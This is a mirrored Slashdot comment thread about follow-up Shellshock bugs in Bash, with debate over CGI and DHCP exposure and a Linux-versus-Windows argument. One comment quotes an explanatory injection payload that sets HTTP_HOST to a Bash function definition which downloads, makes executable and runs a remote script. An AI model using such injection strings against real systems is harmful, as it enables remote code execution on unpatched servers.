Slashdot Mirror
Bash To Require Further Patching, As More Shellshock Holes Found
Bismillah writes Google security researcher Michael 'lcamtuf' Zalewski says he's discovered a new remote code execution vulnerability in the Bash parser (CVE-2014-6278) that is essentially equivalent to the original Shellshock bug, and trival to exploit. "The first one likely permits remote code execution, but the attack would require a degree of expertise to carry out," Zalewski said. "The second one is essentially equivalent to the original flaw, trivially allowing remote code execution even on systems that deployed the fix for the initial bug," he added.
Bash does not have network connectivity. The only thing possible is that there may be remote code execution vulnerabilities when bash is used in connection with a network service like a web-server or ssh. Maybe try to have a minimum of accuracy in these stories?
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
First of all, it's Bourne shellcode and bash has extensions to it. Second of all, whether the programming language is bad or not is totally not relevant. It's the parser in the shell itself that has some fundamental flaws because it executes code inside environment variables that are totally unchecked. You could have a brilliant programming language and still make the exact same mistake.
While you may say that is "by design" it is not common for Bourne shell to do so and most of shell scripts are written to be Bourne shell compatible. By choosing to allow this to happen, Bash programmers made a giant hole in shell security.
I was promised a flying car. Where is my flying car?
Rejoice my brethren; finally linux is becoming popular, the year of the desktop is upon us!
A 'singular oddity' is an event that cannot be explained and only happens when you are alone.
A quick wrap-up of some Slashdot headlines about Windows and open source vulnerabilities. This might not be enough data to say anything certain, but an interesting trend is surely developing.
2004: New Windows Vulnerability in Help System
2004: Four New Unpatched Windows Vulnerabilities
2007: Windows Vulnerability in Animated Cursor Handling
2010: Windows DLL Vulnerability Exploit in the Wild
2012: Windows Remote Desktop Exploit in the Wild
2014: 23 Year Old X11 Server Security Vulnerability Discovered
2014: OpenSSL Bug Allows Attackers to Read Memory in 64k Chunks
2014: Remote Exploit Vulnerability in Bash
The fact is that bash allows external entities to poison environment variables ahead of invocation, causing unintended behavior in bash when it is launched as a child process.
You are correct that this is not a remote exploit by itself. Only with CGI does it become remote. It is a code injection vulnerability that when used with CGI becomes a remotely exploitable vulnerability.
This is not a "blanded" attack that combines with a CGI vulnerability. There is no vulnerability in CGI; it works as specified (you could say that there is a design vulnerability in CGI - and I would agree about that).
Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
I think you'll find bone-headed obvious holes from time to time from almost all software vendors, with MS being no exception.
This is my signature. There are many like it, but this one is mine.
Is there an updated cut-and-paste toy command line to establish quickly whether you're still vulnerable to these variants, or are the details still embargoed?
I'm not sure bash was ever intended to be involved in web facing applications. That's not what it's for! Once you go down that road, even indirectly, there's a lot that can go wrong.
Maybe next someone will run arbitrary user input from the web through g++, execute it in ring 0, and call it a security hole?
Ah. So you've heard of systemd?
Dun, dun, dun, tsss. Is it getting hot in here?
Brave Sir Robin ran away. ("No!") Bravely ran away away. ("I didn't!")
Those of us who've been using Unix, BSD/Solaris, and Linux for the past few decades never had delusional thoughts of vaunted security of these systems in the first place.
Any system will have security issues, as most software is flawed - and systems tend to comprise of dozens if not hundreds of software components.
This is ignoring hardware errors (most people security conscious have been dealing with hardware erratas for decades too), because more often than not those hardware issues are far easier to exploit than software ones (from a time-to-discover exploit perspective).
Anyone stupid enough to re-evaluate using linux because they've only JUST realised they have to consider security, are going to be just as incompetent at running a system no matter what kernel/OS they migrate to. Good luck to 'em.
Still waiting for examples of how to exploit this (remotely or otherwise), without using an existing hole to do so.
The most repeated example is letting the web server call a shell script. Yeah, we did that 15 years ago, and WE KNEW it was a stupid thing to do. There are so many ways of script injection, and nobody gets their quotes perfectly right. I thought security had become better in 15 years, but if that example is the best they have, apparently nothing has changed.
Seriously, if that example matters to anyone but a few morons, I'd have to agree with the astroturfers. Microsoft did improve their security between Windows 95 and 7. It's still not perfect, but at least they aren't running bloody shell scripts from CGI.
The rest of the examples are passing unchecked user input to the shell, either from PHP or even the DHCP client. That's security 101 fail.
Sudo has cleared environment variables for at least a decade. Because passing unchecked user input across the user/root barrier is a security hole. The ability to run setuid shell scripts were removed from major *nix kernels around the same time, for the same reasons. So, if both sudo and kernel developers realized a decade ago that passing unchecked environment variables across the user/root barrier was a security problem, how could anyone think that doing the same thing between the unauthenticated user and a shell script through the web server would be any better.
You need to trust unauthenticated people even less that sudo users. At least with sudo users you know exactly who to hit with a clue-by-four.
Yeah, this is what bothers me about this whole thing. People are acting like this is a terrible security hole outside of anyone's control, but if you're running an environment which allows for remote execution of anything via bash, I feel like Agent Smith said it best: "your men are already dead." That hasn't been a plausible architecture for public-facing applications for at least a decade. I remember working hard to get away from CGI-style approaches in the late '90s - back then, it was more for performance than security, but the security was an added bonus that became more apparent later.
Of course it is.
Even "sed" (the text filtering utility) is a programming language.
If you have mechanisms for comparison, branching and buffering, you are dealing with a programming language.
Pretty good is actually pretty bad.
You need to have a network service listening that passes data to bash (or arbitrary shells, though that would be far rarer). For example, an Apache HTTP server using bash as a CGI to process requests.
In general this is a bad thing, with a few exclusions for items that require it by their very purpose - for example SSH.
Note however that in the SSH example, the 'passing-stuff-to-shell' is post-authentication - so if they can exploit it, they can already log in as you anyways and do what they want.
For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
None of that, if you have a vulnerable version of bash and use DHCP that is enough
Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
You thought you could run a totally free hobbyist OS and have it be as secure as one done by paid professionals?
Be glad its there for you to use at all. People donate their time and energy to it. Don't look a gift horse in the mouth.
Some would argue that Mac OS X isn't a totally free hobbyist OS and yet, with all of their paid professionals, they have yet to patch the bug. On the other hand, Linux being a free hobbyist OS means that researchers have the ability to scan the code and discover these types of holes. Something that is impossible for closed systems.
The Microsoft that delays releasing patches for zero-day vulnerabilities so the NSA can exploit them first? The one that took 7 years to fix a known vulnerability? The one that took 7 months to fix a remote IE exploit after it was reported, just because it wasn't public enough?
And with linux, as long as you install from your distribution (that already have most if not all that you will ever need to install), you have security fixes for all of what you have installed, not just the kernel or a minimal core of apps.
There has been much FUD, but not really much technical details in the most common sites. First, this news is inflammatory behind retardation, as it does not make clear that the 2nd patch was officially out by last Thursday or Friday for Debian at least. But then, lets not get the truth on the way of a "news" article, oh noes. As for ways of getting "exploited" they are rather limited. You have to have CGI bash scripts installed on you apache, and CGI enabled, which in more modern distros are far and between. So this will mostly affect old servers. The ways which this works to other services is not clear. Also, it only allows exploit to the same user running the service. I doubt a lot it will allow escalation with setuid scripts, because, as far as I remember, bash has not allowed for decades to mark scripts with setuid due to security problems.
Fucking Linux. NEVER AGAIN. At least with mswin, my stations will auto-update. (Not to mention they never would have had such a bone-headed obvious hole to start with.) Christ, even my headless server stations that I never thought I'd have to fuck with again are vulnerable. Goddmammit. This could even compromise accounts I have on remote servers if they are not keeping up-to-the-minute updates. I guess you get what you pay for. Caveat Emptor. I just never thought it would come back to bite me so hard. I suppose you never do.
What makes you think Windows doesn't have problems like this? The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public. Also, fixes were pushed out within hours of notification.
Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited. So I agree, Caveat Emptor.
From Eric Blake's bug-bash post
If you see anything like the following:
you're still vulnerable. There may be other issues the above does not cover.
Nobody ever got fired for using Microsoft..
Seems like a management oversight. I would be shocked to find that I have to pay for upgrades every couple of years.
never had problems like this with CCP.
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
Not just CGI, also DHCP became vulnerable: https://www.trustedsec.com/sep...
as pointed out by markus_baertschi above.
So it is relevant for the average end-user.
NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
You have to have CGI bash scripts installed on you apache
No. This can affect you if you have a Web-facing server-side application, written in any programming language, that calls out to a shell, and the default shell for 'a shell' on that system is bash.
Apparently, it is not "Ubuntu" but rather "Anonymous Coward" that actually means "I can't configure Debian".
Ezekiel 23:20
You'd better call it the GNU/Shellshock security vulnerability!
Except that Heartbleed had nothing to do with Linux. Many things out there use OpenSSL.
Ezekiel 23:20
Hey Anonymous coward. How many of PF Chang's, Target's, Jimmy John's, and Home Depot's POS machines were running Linux?
The reason Windows doesn't have problems like this
HOLY
FUCKING
SHIT
There are two types of people in the world: Those who crave closure
Even "sed" (the text filtering utility) is a programming language.
Indeed it is. It is a fantastic Turing tarpit. It was never ever ever designed to be turing complete and the feature set is geared towards doing nothing but batch search and replace.
Naturally this means that people like to program interesting things in it for fun. Some of the most impressive are implementations of dc and sokoban.
SJW n. One who posts facts.
Why does bash have to worry about security? It's just a shell, a thin interface supposed to execute whatever commands it receives. Surely the bug lies with Apache et al. for not properly censoring the data they receive from outside and send to bash for execution.
I understand that the exploit works by appending malicious commands after a function definition contained in an environment variable. The environment variables aren't meant to contain anything more than the function, so executing the extra code is a bug. In that sense the bug belongs to bash. But the shells were never designed to be secure against this kind of attack, and as we're now discovering there are all kinds of related vulnerabilities. Server software such as Apache is made to be secure: it has to worry about sending arbitrary commands to bash, so why not worry about setting arbitrary environment variables too?
What makes you think Windows doesn't have problems like this?
They did. But it is a long time since that last vulnerability on this scale. Following the embarrassing Nimda and Code Red (and many vulnerabilities in IIS), Microsoft started it's "security push". The central part of that is the Secure Development Lifecycle (SDL) which as a collection of processes, methodologies, tooling, mandatory education, guidance and mandatory threat modelling, reviews and auditing.
The difference is that being open source third parties can review the code and find problems. There is no way to keep them secret and from the public.
That all fine and dandy. Only, these bugs (the original Shellshock and these later) have existed for 22+ years! During all that time, nobody (we hope) "reviewed the code and found problems". So, if there were any third parties looking at the source, they failed miserably (or sold exploit information on the black market).
Look, there have been bugs found in old MS code as well. A few years back there was a vulnerability in the old DOS emulation code.
It is time to let the myth of the many eyes die. The community is not going to help you by reviewing code unless you *pay* them to do so. It is the most boring discipline of developing code, and nobody does it out of interest.
A company like Microsoft can *pay* people to review and audit code. A big part of SDL is exactly those supporting roles and checks/gates. The open source community must wake up and set up foundations OpenSSL style and start asking those who reap the biggest benefits for some funding.
Also, fixes were pushed out within hours of notification.
Do you really want to go there, given the incomplete patches and host of related problems which could have been found had the maintainers taken more time?
Part of SDL in Microsoft is exactly a process where, when a vulnerability has been reported, they must take time to analyze if there are related or similar vulnerabilities, what impact a patch could have. On top of that they have a gigantic test farm where they test for compatibility with a huge number of popular software applications.
Essentially, what Microsoft does *internally* and prior to releasing information on the bug, is now what for bash takes place *externally* (external security researchers) and *after* the vulnerability info was released.
Look at it this way. BASH has had this problem evidently for years and there haven't been any exploits. It was discovered by researchers analyzing the code. In an MSoft world, where nobody has access to the code but MSoft, the public finds out about security holes after they have been exploited.
No no no no. This bash problem was discovered by someone trying to see if you could pass a lambda (an anonymous function) from a bash shell instance to a subshell. He then noticed some weirdness and investigated.
After the bug has become known, security "researchers" homed in on the bash interpreter. Still from *the outside* (i.e. NOT looking at the source code), more vulnerabilities were found (see Tavis Ormandy's tweets).
The easiest way to find these bugs remains to just play around with bash and try to throw it off with weird syntax. And that is how these bugs are being found.
There is absolutely no evidence that having open source code makes the product more or less secure. To be honest, only the most obvious bugs are ever found by inspecting the code - which tend to be the same class of bugs that would be found with just some cursory testing.
No, the quality of the code is impacted by the quality assurance processes that surround the development process, such as testing, threat modelling, security audits, tooling, guidance etc.
Reading slashdot one-liner: (irm http://rss.slashdot.org/Slashdot/slashdot).rdf.item | fl title,desc*
And it's the developers of all those packages and distros that symlink /bin/sh to bash instead of something minimal and well-audited that we should be screaming at. But "remote root exploit in bash" is sexier (after all, Apple doesn't put procmail on every Mac) so that's what goes in the headline.
...and next time someone goes on a rant about systemd versus "the Unix way", remember that daemons passing input from the network to /bin/sh is part of "the Unix way".
0 1 - just my two bits
To be fair, perl had these problems in the early 90's and "taint mode " was introduced to protect against them and unforseen future variations on them. I seem to recall a release of PHP in the past couple years has adopted some of the same techniques. Bash folks won't be able to achieve a great result over a weekend. That we're here two decades later tells you most of what you need to know about the appropriateness of selecting bash for this kind of work.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.
(If I'm wrong, expecting angry flames now ;-) Please though include details of why.)
You are not alone. This is not normal. None of this is normal.
Well, let's see here... Heartbleed was a bug in OpenSSL, use in a lot of software that has nothing at all to do with Linux, and Shellshock is a bug in the Bash shell, which predates Linux by 2 years and is used on a lot of systems that have nothing at all to do with Linux. Neither bug was a Linux bug, though both affected Linux systems; both also had the ability to affect Windows systems running any number of applications that rely on OpenSSL (if you open your eyes, you might be amazed how many and how common) or Bash (fewer, but still not completely unheard of; there are a number of POSIX layers for Windows, and all of them use Bash by default as far as I'm aware).
The last time I posted these facts, I was modded flamebait, and I'm sure it'll happen again. Plenty of karma to burn, though, so, whatever.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
Lol.
You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.
They took notes from Cisco's playbook on how to long term fuck their clients.
This is my sig. There are many like it, but this one is mine.
Shellshock has nothing to do with Linux, either. Bash predates Linux by 2 years.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
maybe, "How many hackers does it take to change a light bulb ?"
On the open source projects I've worked on where Google is a big contributor, they are very keen to push features and randomly refactor large parts of code, but I've never seen them do anything like a security audit. They did, however, do a big audit of libavcodec (which they use) and fix around 300 security holes...
I am TheRaven on Soylent News
Arguably, the bug in Linux was in that it chose to use a program as large and complicated as bash as its idea of /bin/sh.
Though bash is, of course, available on all other OSes, no one else makes it the interpreter behind most of the system's own scripts as well as the system(3) function.
In Soviet Washington the swamp drains you.
Nobody actually said that Linux is more secure. What has been said that security flaws are more likely to be reported and patched before they are exploited. The reason Windows doesn't have problems like this is because they really do. However, Microsoft is very good about non-disclosure agreements and the like. But, security by obscurity isn't really security. It's just marketing and wishful thinking.
As for being burned by this, it hasn't happened. The flaw has been there for 22 years and yet not one exploit has been noted. Nobody has been burned by this because of the difficulty in actually exploiting it (without have physical access to the machine). Should this bug be there? No, of course not. But it is the open source nature of linux that led to this even being reported.
Lol.
You pay for Software Assurance and yet their release cycles seem to push past the edge of the 3 year SA agreements in so many cases, requiring ongoing renewal of SA in order to not lose it.
They took notes from Cisco's playbook on how to long term fuck their clients.
They started the that policy in when Windows XP (and Server 2003) were released, and lost a third of the customers when they didn't deliver a new release within the 3 year Window. Yes, some of those got new policies later after that, but that policy change also drove many to evaluating Linux as an alternative (well documented at the time in the news) and some to switch when they found out they didn't really need Windows or Microsoft.
Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)
The Shellshock bug is from 1992.
Please quote the bug report and date filed.
Truth is like the sun. You can shut it out for a time, but it ain't goin' away. - Elvis Presley (source: imdb.com)